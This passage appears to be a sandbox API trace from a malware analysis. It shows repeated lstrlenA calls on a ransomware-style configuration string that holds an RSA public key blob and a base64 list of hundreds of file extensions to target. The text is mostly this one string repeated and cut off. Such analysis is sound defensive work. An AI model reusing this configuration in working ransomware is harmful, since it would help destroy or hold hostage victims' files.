YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA